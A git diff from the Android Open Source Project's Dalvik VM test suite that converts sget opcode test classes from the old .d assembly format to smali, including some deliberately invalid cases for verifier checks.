+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget/d/T_sget_14;
+.super Ljava/lang/Object;
+.source "T_sget_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget v0, Ldot/junit/opcodes/sget/d/T_sget_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.d
deleted file mode 100644
index a9d65e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_15.java
-.class public dot.junit.opcodes.sget.d.T_sget_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.smali
new file mode 100644
index 0000000..7561691
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_15.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.d
deleted file mode 100644
index 71602db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_16.java
-.class public dot.junit.opcodes.sget.d.T_sget_16
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_16.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.smali
new file mode 100644
index 0000000..a006d32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_16.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_16;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.d
deleted file mode 100644
index e7bdc56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_17.java
-.class public dot.junit.opcodes.sget.d.T_sget_17
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.smali
new file mode 100644
index 0000000..380468e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_17.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.d
deleted file mode 100644
index 62dbc28..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_18.java
-.class public dot.junit.opcodes.sget.d.T_sget_18
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.smali
new file mode 100644
index 0000000..761aaed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_18.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.d
deleted file mode 100644
index 0f3374d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_19.java
-.class public dot.junit.opcodes.sget.d.T_sget_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.smali
new file mode 100644
index 0000000..5ec52d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_19.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.smali
new file mode 100644
index 0000000..da0c882
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget/d/T_sget_2;
+.super Ljava/lang/Object;
+.source "T_sget_2.java"
+
+
+# static fields
+.field public static val:F
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const v0, 0x42f60000    # 123.0f
+
+    sput v0, Ldot/junit/opcodes/sget/d/T_sget_2;->val:F
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()F
+    .registers 4
+
+    sget v1, Ldot/junit/opcodes/sget/d/T_sget_2;->val:F
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.d
deleted file mode 100644
index e03ccd6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_20.java
-.class public dot.junit.opcodes.sget.d.T_sget_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.smali
new file mode 100644
index 0000000..afbdf2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_20.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.d
deleted file mode 100644
index 1932bb7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_3.java
-.class public dot.junit.opcodes.sget.d.T_sget_3
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v3, dot.junit.opcodes.sget.d.T_sget_3.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.smali
new file mode 100644
index 0000000..aeb66d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_3.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v3, Ldot/junit/opcodes/sget/d/T_sget_3;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.d
deleted file mode 100644
index 761c38f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_4.java
-.class public dot.junit.opcodes.sget.d.T_sget_4
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_4.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.smali
new file mode 100644
index 0000000..dad925f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_4.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_4;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.d
deleted file mode 100644
index 544f350..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_5.java
-.class public dot.junit.opcodes.sget.d.T_sget_5
-.super java/lang/Object
-
-.field public i1 I
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const/4 v2, 5
-       iput v2, v3, dot.junit.opcodes.sget.d.T_sget_5.i1 I
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_5.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.smali
new file mode 100644
index 0000000..798176d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_5.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_5;
+.super  Ljava/lang/Object;
+
+.field public i1:I
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 5
+       iput v2, v3, Ldot/junit/opcodes/sget/d/T_sget_5;->i1:I
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_5;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.d
deleted file mode 100644
index b78b202..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_6.java
-.class public dot.junit.opcodes.sget.d.T_sget_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.TestStubs.TestStubField I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.smali
new file mode 100644
index 0000000..922ba08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_6.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/TestStubs;->TestStubField:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.d
deleted file mode 100644
index 7423dcd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_7.java
-.class public dot.junit.opcodes.sget.d.T_sget_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_7no_class.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.smali
new file mode 100644
index 0000000..5cdbf94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_7.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_7no_class;->i1:I
+       return v1
+.end method
+
+
